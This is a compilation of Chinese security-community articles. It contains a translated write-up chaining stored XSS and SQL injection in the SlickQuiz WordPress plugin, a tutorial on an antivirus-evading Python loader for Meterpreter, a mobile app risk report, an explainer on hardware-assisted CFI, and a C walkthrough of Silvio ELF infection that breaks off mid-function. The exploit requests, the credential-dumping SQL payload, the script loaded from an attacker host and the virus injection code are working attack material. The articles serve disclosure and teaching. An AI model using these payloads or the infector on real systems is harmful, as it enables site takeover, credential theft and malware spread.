本文为翻译文章，原文链接为：<https://www.rcesecurity.com/2019/09/H1-4420-From-Quiz-to-Admin-Chaining-Two-0-Days-to-Compromise-an-Uber-Wordpress/>
当我在在为H1-4420侦查时，我偶然发现了一个启用了一个叫SlickQuiz`<https://wordpress.org/plugins/slickquiz/>`插件的wordpress博客，尽管最新版本1.3.7.1已经安装且我没有找到任何公开的泄露漏洞，但是运行一个没有经过最后重要版本测试的插件仍让我觉得是个不好的主意。
所以我决定遵循去年H1-3120的路线：进行源代码审查，这次又得到应有的回报。我发现了两个分别为CVE-2019-12517（未经身份验证的存储型XSS）和CVE-2019-12516（经过身份验证的SQL注入）的漏洞，这两个漏洞可以串联在一起从而以未授权WordPress用户拿下管理员凭据。
由于披露信息的敏感性，我在文章中用自己临时安装的WordPress博客来演示漏洞的影响。
# CVE-2019-12517：通过存储型XSS从未经身份验证转到管理员
在源代码审查期间，我在保存用户测验分数的地方发现很多明显的存储型XSS漏洞。需要重要注意的是，“保存用户分数”选项是否被禁用（默认情况）还是开启都是无所谓的，开不开都是UI的元素的问题，与漏洞利用无关。
重要的问题在于文件`php/slickquiz-scores.php`的`generate_score_row()`方法（38-52行）处，向测验者返回响应数据包时没有进行转义编码。
function generate_score_row( $score )
{
$scoreRow = '';
$scoreRow .= '<tr>';
$scoreRow .= '<td class="table_id">' . $score->id . '</td>';
$scoreRow .= '<td class="table_name">' . $score->name . '</td>';
$scoreRow .= '<td class="table_email">' . $score->email . '</td>';
$scoreRow .= '<td class="table_score">' . $score->score . '</td>';
$scoreRow .= '<td class="table_created">' . $score->createdDate . '</td>';
$scoreRow .= '<td class="table_actions">' . $this->get_score_actions( $score->id ) . '</td>';
$scoreRow .= '</tr>';
return $scoreRow;
}
因为$score->name，$score->name和$score->score都是用户可控的，一个简单的如下的请求就可以从SlickQuiz的后端拿到三个XSS漏洞。
POST /wordpress/wp-admin/admin-ajax.php?_wpnonce=593d9fff35 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 165
DNT: 1
Connection: close
action=save_quiz_score&json={"name":"xss<script>alert(1)</script>","email":"test@localhost<script>alert(2)</script>","score":"<script>alert(3)</script>","quiz_id":1}
只要用户访问SlickQuiz的dashboard里的用户分数，所有payload就会触发。
这样就很完美了，已经有很大的影响了，但是还可以造成更大的影响。
# CVE-2019-12516：身份验证后的SQL注入
SlickQuiz插件同样有一些需要身份验证的SQL注入漏洞，而且无所谓请求中是否有id参数。例如下面的请求例子：
/wp-admin/admin.php?page=slickquiz-scores&id=(select*from(select(sleep(5)))a)
/wp-admin/admin.php?page=slickquiz-edit&id=(select*from(select(sleep(5)))a)
/wp-admin/admin.php?page=slickquiz-preview&id=(select*from(select(sleep(5)))a)
都导致了一个5秒的延迟。
重要的问题例如在这个请求`/wp-admin/admin.php?page=slickquiz-scores&id=(select*from(select(sleep(5)))a)`当中，这个漏洞位于文件`php/slickquiz-scores.php`的构造方法（20行），GET参数id的值会传给`get_quiz_by_id()`这个函数。
$quiz = $this->get_quiz_by_id( $_GET['id'] );
get_quiz_by_id()这个函数定义在php/slickquiz-model.php文件（27-35行）下：
function get_quiz_by_id( $id )
{
global $wpdb;
$db_name = $wpdb->prefix . 'plugin_slickquiz';
$quizResult = $wpdb->get_row( "SELECT * FROM $db_name WHERE id = $id" );
return $quizResult;
}
很明显的另一个漏洞。
## 连接XSS和SQL注入以接管
现在连接这两个漏洞来接管WordPress。
首先，我们获取一下WordPress用户（可能是管理员）的基本登陆详情：用户电子邮件，登录名和HASH密码。我已经构建了一个方便的SQL注入payload来实现：
1337 UNION ALL SELECT NULL,CONCAT(IFNULL(CAST(user_email AS CHAR),0x20),0x3B,IFNULL(CAST(user_login AS CHAR),0x20),0x3B,IFNULL(CAST(user_pass AS CHAR),0x20)),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM wordpress.wp_users--
这最后会返回`\<h2>`标签下中的请求数据。
有了这个payload和一些js代码我们可以通过XMLHttpRequest来进行利用SQL注入了：
let url = 'http://localhost/wordpress/wp-admin/admin.php?page=slickquiz-scores&id=';
let payload = '1337 UNION ALL SELECT NULL,CONCAT(IFNULL(CAST(user_email AS CHAR),0x20),0x3B,IFNULL(CAST(user_login AS CHAR),0x20),0x3B,IFNULL(CAST(user_pass AS CHAR),0x20)),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM wordpress.wp_users--'
let xhr = new XMLHttpRequest();
xhr.withCredentials = true;
xhr.onreadystatechange = function() {
if (xhr.readyState === XMLHttpRequest.DONE) {
let result = xhr.responseText.match(/(?:<h2>SlickQuiz Scores for ")(.*)(?:"<\/h2>)/);
alert(result[1]);
}
}
xhr.open('GET', url + payload, true);
xhr.send();
现在将XSS payload改为如下：
POST /wordpress/wp-admin/admin-ajax.php?_wpnonce=593d9fff35 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 165
DNT: 1
Connection: close
action=save_quiz_score&json={"name":"xss","email":"test@localhost<script src='http://www.attacker.com/slickquiz.js'>","score":"1 / 1","quiz_id":1}on=save_quiz_score&json={"name":"xss<script>alert(1)</script>","email":"test@localhost<script src='http://www.attacker.com/slickquiz.js'>","score":"1 / 1","quiz_id":1}
将导致XSS触发并弹出WordPress的登陆凭据
然后我们就可以通过XMLHttpRequest等跨域发送这些数据。
感谢Uber的赏金！ | 社区文章 |
前言：
近期看了一下metasploit生成的reverse_tcp
shellcode源码，突发奇想使用python3来编写一个自己的加载器，以便绕过杀毒获取一个metereter
一. Meterpreter 加载过程分析
meterpreter使用ReflectiveDllLoader技术，使其功能代码在内存中执行，不在硬盘留下文件。loader就是msf生成的shellcode，其作用是与控制端建立连接，并获取下一阶段所需的功能代码。由于功能代码采用了DLL反射加载技术，可以规避大多数杀毒软件。但是我们使用的loader很容易被查杀。因此我们可以用python编写一个免杀的加载器，来连接msf并加载功能dll。
打开metsrv的源码，在metsrv.c中可以看到
初始化需要一个socket的file descriptor,这里的fd参数就是负责反射加载这个dll的shellcode中传进去的。
查询资料得知，msf生成的reverse_tcp shellcode所使用的脚本路径在：
metasploit-framework/lib/msf/core/payload/windows/x64/reverse_tcp.rb
metasploit-framework/lib/msf/core/payload/windows/x64/block_api.rb
在reverse_tcp.rb中储存了生成reverse_tcp shellcode的ASM代码，如下图
如图，gennerate_reverse_tcp 用于生成shellcode，从这里可以得知，shellcode大致的三个主要功能：
1.#{asm_block_api} 通过hash获得api地址
2.#{asm_reverse_tcp(opts)} 与控制端建立连接
3.#{asm_block_recv(opts)} 接收控制端发来的数据信息
首先，查看asm_reverse_tcp 部分，发现它和msf控制端使用socket建立了连接
上图红框中的mov edi,rax，其作用是将socket描述符保存到rdi中，方便接下来的第二阶段代码使用。
如上图，在asm_block_recv中，先接收了一个由控制端发来的length，这个数值就是第二阶段接收的反射dll的大小，并使用该参数分配内存空间。
如上图，使用VirtualAlloc分配了一个内存空间，并将权限设置为PAGE_EXECUTE_READWRITE，确保接收到的反射dll能正常执行。
分配完成后，使用socket recv接收stage2到分配的空间中
接收完毕后，跳转到stage2执行，这时候我们就可以获得一个完整的meterpreter了。
二. 使用python3编写自己的加载器
我们分析了原版加载meterpreter的过程，接下来我们可以使用python实现这个过程，编写一个自己的加载器，来绕过杀毒的查杀。
1.在python中，我们需要使用ctypes库来调用windows API
kernel32 = ctypes.cdll.LoadLibrary("kernel32.dll")
kernel32.VirtualAlloc.restype = ctypes.c_uint64
2.在上文中，我们知道需要将socket描述符保存到rdi中。python中我们直接用硬编码实现该功能。mov rdi,立即数 对应的编码为 0x48
0xBF。
通过使用struct.pack，把python中的socket描述符转为一个QWORD数值，与0x48
0xBF组合，执行后就会将该socket描述符保存至rdi寄存器中。
3.接下来循环接收控制端发来的数据
4.复制到新分配的空间，并且创建新线程以执行
至此，我们可以获得一个完整的meterpreter会话
5.可以与pyinstaller配合使用，打包运行。
完整代码在附件喵
（运行环境win x64 python3） | 社区文章 |
# 全国移动App风险监测评估报告
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
近日，由移动互联网系统与应用安全国家工程实验室（以下简称：国家工程实验室）牵头，中国信息通信研究院安全研究所（以下简称：信通院）和北京智游网安科技有限公司（以下简称：爱加密）一起参与，三方联合发布了
**《全国移动App 风险监测评估报告》（2020 年3季度版）** 。
本次评估报告包括全国移动 App 安全概况、全国
App类型分布、金融类App分布概况、移动应用个人信息安全案例分析、第三季度App风险监测评估总结等内容。App
风险监测评估报告面向社会公众免费发布，为行业用户了解本行业 App 安全提供了参考，也为个人用户开启了一扇了解当下App 安全热点的窗户。
国家工程实验室、信通院以及爱加密公司后续会加大合作，把“全国移动 App 风险监测评估”作为常态化合作内容，风险监测评估报告每季度发布。
## 一、全国移动App概况
根据移动互联网系统与应用安全国家工程实验室（以下简称国家工程实验室）、中国信息通信研究院安全研究所（以下简称信通院）和北京智游网安科技有限公司（以下简称爱加密）移动应用大数据平台提供的数据，截止9月底大数据平台共计收录Android应用318万款，
**其中95%以上存在高危漏洞威胁，近一成的App存在恶意行为，31.88%的App嵌入推送类的SDK。**
### **（一）豌豆荚App数量占总量的8.12%**
截止到本季度纳入监测的应用渠道数量总计约800个，其中App数量排名前三列的分别是：豌豆荚，共计应用708790款，占渠道总应用数量的8.12%，相比第二季度下降了0.54%；360市场，共计639158款，占总应用数量的7.33%；应用宝，共计634734款，占总应用数量的7.27%；以下是各渠道App排行前十的情况：
图1 各渠道应用排行TOP10
### **（二）高危漏洞呈逐渐增长趋势**
本次监测过程主要对10类94项风险漏洞进行分析，监测发现95%以上的App存在漏洞。存在不同风险等级漏洞的App占比如下：
图2 不同风险等级漏洞的App占比
约318万款Android最新版本应用包通过移动应用安全平台进行风险监测，其中，有高危漏洞的App约290万款，占应用总数的99.41%。本季度排名前三的漏洞分别是：
**Janus漏洞、Java代码加壳检测、WebView远程代码执行漏洞。** 详见下图：
图3 存在漏洞的App数量统计图
### **（三）主要恶意程序风险描述**
本季度新增存在恶意程序的App7123款，其中恶意程序类型还是以流氓行为为主，这些恶意程序主要存在
**收集移动用户的隐私数据、恶意扣费、流量资源消耗、系统破坏和广告推送等多种恶意行为** ，对移动用户的个人信息及财产安全带来巨大的威胁。详见下图：
图4 恶意程序类型统计表
### **（四）第三方SDK应用广泛，数据安全存在隐患**
第三方SDK应用广泛，其自身安全性和收集使用个人信息的行为也存在隐患。监测发现截止9月底，31.88%的App嵌入推送类的SDK，共计应用521088款；18.91%的App嵌入统计类的SDK，共计应用309099款；15.28%的App嵌入支付类的SDK，共计应用249811款，详见下图：
图5 不同类型SDK对应的App分布情况
### **（五）各省份移动应用加固情况相近**
从加固App区域分布来看，北上广地区App供应商安全意识较强，加固数量最多。
图6 加固App省份Top10
经统计，进行安全加固的App覆盖34个省份，其中安全加固App数量排名前三列的分别是：北京市占总量的28.37%，共计74695款App；广东省占总量的23.60%，共计62115款App；上海占总量的6.57%，共计17293款App，以下是前十排名情况：
图7 加固App数量省份占比前十分布
北京以28.37%的比重成为汇聚加固App数量最多的省份，与之反向的是香港、澳门，澳门成为加固App数量最少的省份。详情如下：
图8 加固App数量占比排名靠后情况
## 二、全国App类型分布
### **（一）生活实用类稳居市场总应用的首位**
从全国功能分类应用细分领域来看，生活实用类App在前三名中占领了第一名的位置，其中，生活实用类的App占市场应用的15.42%，共计1298772款；办公学习类的App占市场应用的11.19%，共计942563款；休闲益智类的App占市场应用的8.62%，共计726170款。不同细分领域App占比如下所示：
图9 不同细分领域AppTop10数量及占比
### **（二）其他类型App分布情况**
排名第4到第10的行业分别是资讯阅读、金融理财、网上购物、系统工具、影音播放总和不超过41%。其中：资讯阅读类App共计620522款，占总数的7.37%；金融理财类App共计603009款，占总数的7.16%；网上购物类App共计484582款，占比5.75%。详情见下图：
图10 其他功能类型App数量
## 三、金融类App分布概况
### **（一） 超三成App分布在华东地区**
金融类App遍布全国各地，有30179款可以根据区域划分规则明确归属地，下列区域分布仅基于这30179款做分析。从大区来看，
**华南地区App产量位居第一** ，占App总量的31.53%；其次是华中地区，占总量的24.22%；华北地区位列第三，占总量的20.78%。详见图列：
图11 App大区分布图
### **（二） 广东省App数量以31.34%的占比居全国第一**
从省级区域来看， **广东省金融类App**
数量占全国总量的31.34%，位居第一；湖北市金融类App数量占全国总量的18.95%，位居第二；北京省金融类App数量占全国总量的9.05%，稳居第三。以下是排名TOP10的情况：
图12 金融类App数量占比区域TOP10
## 四、本季度增量情况
### **（一） Android App数量7月份环比增长以倍数发展**
本季度Android App数量共计151970个，从月度上看，本季度的两个月Android App数量增速7月份环比增长最快，环比增加了
**156.35%** ，但8月新增应用共计66071款，环比下降23.08%。详见下图：
图13 月度环比增速图
### **（二） 应用监测渠道增量情况**
**1.应用监测渠道7月增长较快**
本季度应用监测新增渠道趋势较平缓，应用新增渠道共计35个，7月份新增21个渠道，8月份新增14个渠道。详见下图：
图14 新增渠道情况
**2.本季度教育类增量最多**
从应用行业上看，教育类仍是新增应用的主要类别，占新增应用33.83%；医疗卫生类新增数量位列第二，占新增应用17.08%；金融类新增数量位列第三，占新增应用的15.74%；详见下图：
图16 新增应用行业Top10分布图
## 五、移动应用个人信息安全案例分析
4月27日，国家网信办、发改委等12部门联合发布 **《网络安全审查办法》**
，今年6月1日起实施。网络安全审查重点评估关键信息基础设施运营者采购网络产品和服务可能带来的国家安全风险，主要包括产品和服务使用后带来的关键信息基础设施被非法控制、遭受干扰或破坏，以及重要数据被窃取、泄露、毁损的风险；产品和服务供应中断对关键信息基础设施业务连续性的危害等。
### **（一）某金融类App存在服务器会话数据未清除**
技术人员测试用户在客户端App上点击退出登录操作时，向服务器请求清除在线的token等信息，发现服务器未进行清除。详情如下：
用户登录成功后，在客户端应用软件的设置界面点击“退出”或“注销”按钮，此时对客户端App的网络请求进行抓包，检测其是否向服务器请求了退出清除用户在线状态。
注销账号后仍然能够正常获取数据，说明服务器并未清除用户的在线状态。
修复建议：
当用户在本地界面点击“注销”时，App客户端应向服务器发送注销用户登录状态的请求，以清除服务器的token、cookies，防止用户状态被窃取。
### **（二）某金融类App的验证码可绕过漏洞**
技术人员在对某款App进行反编译时，发现此App存在可绕过验证码的验证对手机号直接进行修改。详情如下：
经测试，修改手机号的步骤为先验证原手机再设置新手机号，抓取第一步验证当前手机号的数据包。
拦截第一步验证码请求的返回数据包并篡改为表示验证正确的状态码。
App界面绕过验证码验证跳转到绑定新手机的界面：
### **（三）传输过程中的数据被明文传输**
经检测，发现部分App与服务器进行交互的过程中，传输较为敏感的信息，如登录、注册、支付、找回密码、重置密码等，如果客户端没有对本地链接SSL证书信息的校验，即使使用了HTTPS的加密协议，也不可避免的被抓包分析，从而威胁业务层面的安全。详情如下：
越狱手机中开启SSL Kill Switch 2插件：
使用Fiddler对该APP的网络接口进行抓包。
## 六、第三季度App风险监测评估总结
### **（一）重视App漏洞危害，提高风险防范意识**
从App漏洞监测数据来看，已监测的App中有95%以上存在高危漏洞，都有不同程度的损害用户行为。在2020年上半年观察到的攻击中，80%攻击使用2017年及更早时间报告和注册的“旧漏洞”，超过20%的攻击使用至少7年的高龄漏洞；而排名最高的“Janus漏洞”可以让攻击者绕过安卓系统的signature
scheme
V1签名机制，直接对APP进行篡改。由于安卓系统的其他安全机制也是建立在签名和校验基础之上，该漏洞相当于绕过了安卓系统的整个安全机制。攻击者可以在正常应用中
**植入恶意代码，替代原有的APP做下载、更新**
。安装这些仿冒APP后，攻击者可以窃取用户的账号、密码等敏感信息；或者植入木马病毒，导致手机被ROOT，甚至被远程操控。
### **（二）各方越来越关注个人隐私保护，作为App运营企业要自律**
App个人信息安全保护不仅是监管部门的任务，它涉及多个主体，需要政府部门、App企业、SDK企业、手机企业、应用商店企业、行业组织、研究机构共同努力，形成个人信息保护的良好生态和强大合力。与此同时，作为App开发和运营企业要做好自律，企业是维护网络安全的主体，为实现一些功能，
**在收集个人信息收集时要做好平衡、把握好度，在相关功能实现后，企业应当将如何保护个人信息作为核心竞争力。**
近阶段，因疫情等因素导致App大量增多，同时App在使用时产生的问题也逐渐增加，作为App的运营者，应该要以身作则，明确自己的原则，注重App在运行过程中的维护以及后期的升级，其次，在提高运营人员的安全意识的同时，还要建立相关的
**安全机制，做好App安全防御措施，** 及时修补安全漏洞，防治App因漏洞的问题被恶意程序感染。
### **（三）网络安全离不开安全技术和产业的支撑**
**没有网络安全就没有国家安全**
，就没有经济社会稳定运行，广大人民群众利益也难以得到保障。当前，各种形式的网络攻击、不法入侵、恶意代码、安全漏洞层出不穷，对关键信息基础设施安全、数据安全、个人信息安全构成严重威胁。网络安全的本质是技术对抗，保障网络安全离不开网络安全技术和产业的有力支撑。 | 社区文章 |
# 【技术分享】利用硬件防御ROP：HA-CFI技术浅析
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**作者：**[ **bind0g**
****](http://bobao.360.cn/member/contribute?uid=2777870006)
**稿费：500RMB（不服你也来投稿啊！）**
**投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿**
**0x00 前言**
随着漏洞缓解技术的不断发展，常用的一些漏洞利用手段如ROP变得越来越困难，来自ENDGAME的Cody
Pierce发表了一篇[[博客]](https://www.endgame.com/blog/rop-dying-and-your-exploit-mitigations-are-life-support)，称ROP的末日已经来临，新的漏洞缓解技术将有效应对未知的漏洞威胁，并宣布他们实现了一种全新利用硬件辅助的控制流完整性的防御机制——HA-CFI。
不过这种论调向来是要打自己脸的，因为总有新的漏洞利用方式出炉，永远不能低估黑客的想象力。比如Flash推出的一系列漏洞缓解机制中仍然存在漏洞，这就很尴尬了(CVE-2016-4249，详情可参考古河在HitCon上的演讲)。
知己知彼，百战不殆。只有充分了解新的漏洞缓解机制，才能有更好的思路去绕过，才能对未来发展新的防御机制更有启发。
**0x01 控制流完整性**
控制流完整性(Control Flow Integrity,
CFI)是由加州大学和微软公司于2005年提出的一种防御控制流劫持攻击的安全机制。通过监视程序运行过程中的控制流转移过程，使其始终处于原有控制流图所限定的合法范围内。
具体的做法是分析程序的控制流图，重点关注间接转移指令，如间接跳转、间接调用和函数返回等指令，获取相应的白名单。在程序运行过程中对间接转移指令的目标进行检查核对，而攻击者对控制流的劫持会导致目标不在白名单中，此时CFI可迅速进行阻断，保证系统安全。
一般来说，控制流完整性可分为细粒度和粗粒度两种实现方式。细粒度CFI严格检查每一个间接转移指令的转移目标，但会严重影响程序的执行效率；粗粒度CFI将一组或相近类型的目标归到一起进行检查，可在一定程度上降低开销，但会使安全性降低。
**0x02 基于硬件的CFI**
早期一些CFI思路是基于二进制插桩的，最简单粗暴的方式是在每条控制流转移指令前插入检验代码，判断目标地址的合法性。但这种方式的开销实在太大，难以在实际中部署。因此研究人员提出的一些改进方法均在效率上进行了妥协，放宽了检查条件。实质上都是粗粒度的CFI，实际效果会打折扣，可被攻击者利用绕过。
既然CFI受制于效率，那么是否可以引入硬件机制来提高效率呢？毕竟相比二进制插桩的方式，硬件的开销几乎是可以忽略的，但前提是我们必须找到可行的实施方案。这就需要对处理器平台上的一些技术细节有所了解。
Intel为了让用户能够更好的对应用程序的性能进行优化，提供了一系列辅助调试的硬件支持，这里着重介绍LBR(Last Branch
Record)、BTS(Branch Trace Store)和PMU(Performance Monitoring
Unit)，早期的一些研究都是在这些基础上开展的。
**LBR**
LBR是Intel提供的一组用于记录和追踪程序最近的若干次跳转信息的循环寄存器组，这些寄存器的数量与Intel处理器的微架构相关，在早几年的Haswell架构中有16个这样的寄存器，也就是说可以记录程序最近的16条跳转指令的信息(包括从哪跳转过来的，将要跳转到哪去)，而在最新的Skylake架构中有32个。LBR寄存器的强大之处在于其定制性很强，能够过滤掉一些不重要的跳转指令，而保留需要重点关注的跳转指令。
**BTS**
BTS是另一个用于记录程序分支信息的功能单元，但与LBR不同的是，BTS不会将程序的跳转指令信息存储到寄存器中，而是将其存储至CAR(cache-as-RAM)中或是系统的DRAM中，这里就没有条数的限制了，只要空间足够，BTS可以存储大量跳转指令的信息。
但另一方面，BTS的时间开销要比LBR高出许多。
**PMU**
PMU是Intel引入的用于记录处理器事件的功能单元。PMU事件有好几百个，非常详尽，包含了处理器在运行过程中可能遇到的所有情形，例如指令计数、浮点运算指令计数、L2缓存未命中的时钟周期等。当然其中也有一个在HA-CFI中非常有用的事件，分支预测失败事件。
**0x03 HA-CFI基本思路**
如果大家对计算机体系结构稍有了解就会知道，现代处理器都是采用流水线的方式执行指令，而分支预测是保证其高效的一个非常重要的技术。
当包含流水线技术的处理器处理分支指令时会遇到一个问题，根据判定条件的真/假的不同，有可能会产生转跳，而这会打断流水线中指令的处理，因为处理器无法确定该指令的下一条指令。流水线越长，处理器等待的时间便越长，因为它必须等待分支指令处理完毕，才能确定下一条进入流水线的指令。分支预测就是预测一条可能的分支，让处理器沿着这条分支流水执行下去而不用等待。若预测成功，那么皆大欢喜，处理器继续执行下去即可；若预测失败，处理器则需要回退到分支位置，重新沿着正确的分支方向执行。
分支预测有许多种策略，如静态预测和动态预测等，当然学术界还有很多其他非常高端的方法。但无论采用何种方式进行分支预测，攻击者劫持指令流后，其目标地址显然不是处理器能够预测到的，必然会产生一个分支预测失败的PMU事件，这相当于一个预警信息，接下来要做的就是从这类PMU事件中甄别出哪些是正常的分支预测失败，哪些是由于攻击者劫持指令流造成的分支预测失败。
仅仅预警是不够的，HA-CFI还希望能够准确定位指令流被劫持的位置，并及时进行阻断。此时PMU就帮不上什么忙了，因为PMU只负责报告处理器事件，而不记录产生该事件的具体指令。当某一时刻PMU报告一个分支预测失败的事件时，此时的指令指针可能早已越过了跳转指令，很难回溯定位发生分支预测失败的指令位置。
因此，为了精确定位造成分支预测失败的指令，还需要借助LBR的帮助。当分支预测失败的PMU事件触发中断服务程序(ISR, Interrupt Service
Routines)时，ISR将从LBR中取出最新的若干条间接跳转指令，其中必然包含造成分支预测失败的间接跳转指令。而且LBR中还记录了更为详细的信息，可方便ISR核对该间接跳转指令的目标地址是否在白名单中。若跳转指令的目标不在白名单之中，说明指令流可能遭到劫持，可及时阻断。示意图如下所示：
HA-CFI示意图
此外，为了进一步保证HA-CFI的效率，可以根据当前进程的重要性选择性的开启或关闭PMU，如当前进程为IE或Firefox浏览器时，开启PMU；若当前进程为Calc.exe这样不太容易遭受攻击的进程，则关闭PMU，如图所示：
选择性开启PMU
**0x04 效果与展望**
Cody Pierce等人选取了多个经典的CVE漏洞，与EMET进行了比较：
实验结果1
实验结果2
可以肯定的是，随着对抗的不断升级，未来漏洞利用的门槛将越来越高，与防御机制斗法也将也成为常态。
除了刚才提到的微软的EMET，Intel在今年6月发布了一份关于CET的技术前瞻：[[Control-flow Enforcement Technology
Preview]](https://software.intel.com/sites/default/files/managed/4d/2a/control-flow-enforcement-technology-preview.pdf)，准备从硬件层面入手防止ROP和JOP攻击。通过引入一个shadow
stack(类似的[[想法]](https://people.eecs.berkeley.edu/~daw/papers/shadow-asiaccs15.pdf)几年前也有人提出)，专门用于存储返回地址，每当发生函数调用时，除了向当前线程栈内压入返回地址，还要向shadow
stack中压入返回地址。返回时需要检查线程栈中的返回地址是否与shadow
stack中一致，若不一致，说明线程栈可能遭到攻击者破坏，程序中止。此外，shadow stack处于层层严密防护之中，普通代码是无法修改shadow
stack的，除非攻击者能控制内核，当然这并非不可能，只是攻击门槛变得很高了。
CET目前仍是一个前瞻性的技术，距离真正实现还需要时间。即使实现了，也不意味着高枕无忧，HA-CFI也是如此，总有能绕过的方法，总有其未考虑到的情况，甚至可能它本身也存在着缺陷。
**参考资料**
– [[Capturing 0day Exploits with PERFectly Placed Hardware
Traps]](https://www.endgame.com/blog/capturing-0day-exploits-perfectly-placed-hardware-traps)
[](https://www.endgame.com/blog/capturing-0day-exploits-perfectly-placed-hardware-traps)
– [[What are Intel LBR, BTS, and AET?]](http://blog.asset-intertech.com/test_data_out/2013/11/what-are-intel-lbr-bts-and-aet.html)
– [[Advanced usage of last branch records]](https://lwn.net/Articles/680996/)
– [[Intel® Microarchitecture Codename Nehalem Performance Monitoring Unit
Programming Guide
]](https://software.intel.com/sites/default/files/m/5/2/c/f/1/30320-Nehalem-PMU-Programming-Guide-Core.pdf)
– [[浅谈分支预测、流水线与条件转移]](http://www.cnblogs.com/yangecnu/p/4196026.html) | 社区文章 |
[TOC]
# Linux病毒技术之Silvio填充感染
通过将寄生程序注入到ELF可执行文件的代码段尾部作为代码段(以内存页4096字节长度为单位)的一部分来进行执行。
为什么叫Silvio填充感染呢？ 这是因为这项技术是Silvio Cesare 在 20 世纪 90 年代末期发明的。
## 感染算法
1. 将ELF文件头结构体中的ehdr->e_shoff属性增加PAGE_SIZE大小
[^PAGE_SIZE]: 一个内存页的长度
[^ehdr_shoff]:
节头表偏移，如果二进制文件有节头表，节头表在文件格式布局的底部，向上紧挨着的就是每个节(段)的内容，寄生代码注入到了text段后面，即被注入到text段中最后一个节的后面，这样让后面剩余节内容、节头表都想后移动一个内存页的大小
2. 定位text段的程序头表
* 将elf文件头中的程序入口点修改为寄生代码的地址
`ehdr->e_entry = phdr[TEXT].p_vaddr + phdr[TEXT].p_filesz`
* 将 phdr[TEXT].p_filesz 增加寄生代码的长度值
* 将 phdr[TEXT].p_memsz 增加寄生代码的长度值。
3. 对每个 phdr，如果对应的段位于寄生代码之后，则将 phdr[x].p_offset 增加PAGE_SIZE 大小的字节。
4. 找到 text 段的最后一个 shdr，将 shdr[x].sh_size 增加寄生代码的长度值（因为在这个节中将会存放寄生代码）。
5. 对每个位于寄生代码插入位置之后的 shdr，将 shdr[x].sh_offset增加 PAGE_SIZE 的大小值。
6. 将真正的寄生代码插入到 text 段的 file_base + phdr[TEXT].p_filesz
## 具体实现
根据感染算法来编写:
1、修改节头偏移
Elf64_Ehdr *ehdr = (Elf64_Ehdr *)mem;
ehdr->e_shoff += PAGE_SIZE;
2、保存原始入口点，等shellcode执行完毕后跳回原始入口并开始执行正常逻辑
old_e_entry = ehdr->e_entry;
修改文件头，将程序入口修改到shellcode的位置，shellcode的位置就是text段的尾部
if (phdr[i].p_type == PT_LOAD) {
if (phdr[i].p_offset == 0) {
o_text_filesz = phdr[i].p_filesz;
end_of_text = phdr[i].p_offset + phdr[i].p_filesz;
//寄生代码注入的位置
parasite_vaddr = phdr[i].p_vaddr + o_text_filesz;
//修改入口点到寄生代码的位置
ehdr->e_entry = parasite_vaddr;
//修改text段在文件和内存中占用的长度
phdr[i].p_filesz += parasite_len;
phdr[i].p_memsz += parasite_len;
//对寄生代码后的程序段的偏移都加上PAGE_SIZE长度
for (j = i + 1; j < ehdr->e_phnum; j++)
if (phdr[j].p_offset > phdr[i].p_offset + o_text_filesz)
phdr[j].p_offset += PAGE_SIZE;
}
break;
}
}
3、修改节头，因为寄生代码是存放在text段内最后一个节的里面，所以对最后一个节进行体积增加,并且对后面的节进行偏移修改，增加PAGE_SIZE长度
//adjust section headers
for (i = 0; i < ehdr->e_shnum; i++) {
if (shdr[i].sh_addr > parasite_vaddr)
shdr[i].sh_offset += PAGE_SIZE;
//shdr[i].sh_offset += parasite_len;
else
//增加寄生代码的长度
if (shdr[i].sh_addr + shdr[i].sh_size == parasite_vaddr)
shdr[i].sh_size += parasite_len;
}
4、寄生代码的注入
void insert_parasite(char *hosts_name, size_t psize, size_t hsize,uint8_t *mem, size_t end_of_text, uint8_t *parasite, uint32_t jmp_code_offset, Elf64_Addr old_e_entry)
{
int ofd;
unsigned int c;
int i, t = 0;
int ret;
//打开临时文件，存放注入寄生代码的程序
ofd = open(TMP, O_CREAT | O_WRONLY | O_TRUNC,S_IRUSR|S_IXUSR|S_IWUSR);
//写入原始text段(包含文件头到text段尾部)
ret = write (ofd, mem, end_of_text);
//在寄生程序后的下一个地址，也就是寄生程序执行结束后，执行的下一个位置，写入宿主程序的原入口点
*(uint32_t *) ¶site[jmp_code_offset] = old_e_entry;
//写入寄生程序代码
write (ofd, parasite, psize);
//将写入位置向后推，直到加上寄生代码长度总共为PAGE_SIZE的长度
lseek (ofd, PAGE_SIZE - psize, SEEK_CUR);
mem += end_of_text;
unsigned int sum = end_of_text + PAGE_SIZE;
//宿主程序长度减去text段长度就是剩余段的长度
unsigned int last_chunk = hsize - end_of_text;
//写入剩余部分
write (ofd, mem, last_chunk);
close (ofd);
}
**完整源码**
这个是对本目录下的64位test程序进行寄生的
#include <stdio.h>
#include "elf.h"
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <unistd.h>
#define PAGE_SIZE 4096*3
#define TMP "test2"
#define JMP_PATCH_OFFSET 1
char parasite_shellcode[] = "\xb8\x00\x00\x00\x00\xff\xe0";
int main(){
FILE *file;
int fd, i, c;
struct stat statbuf;
fd = open ("./test", O_RDONLY);
stat("./test",&statbuf);
int size = statbuf.st_size;
char dest[size];
c = read (fd, dest, size);
silvio_text_infect("./test", dest, parasite_shellcode, sizeof(parasite_shellcode));
return 0;
}
/*
* text段感染函数。
*
* host: 被感染的宿主程序名
* base: 被感染程序运行时的内存地址
* payload: 寄生代码
* parasite_len: 寄生代码的长度
*
*/
int silvio_text_infect(char* host, void* base, void* payload, size_t parasite_len)
{
/*
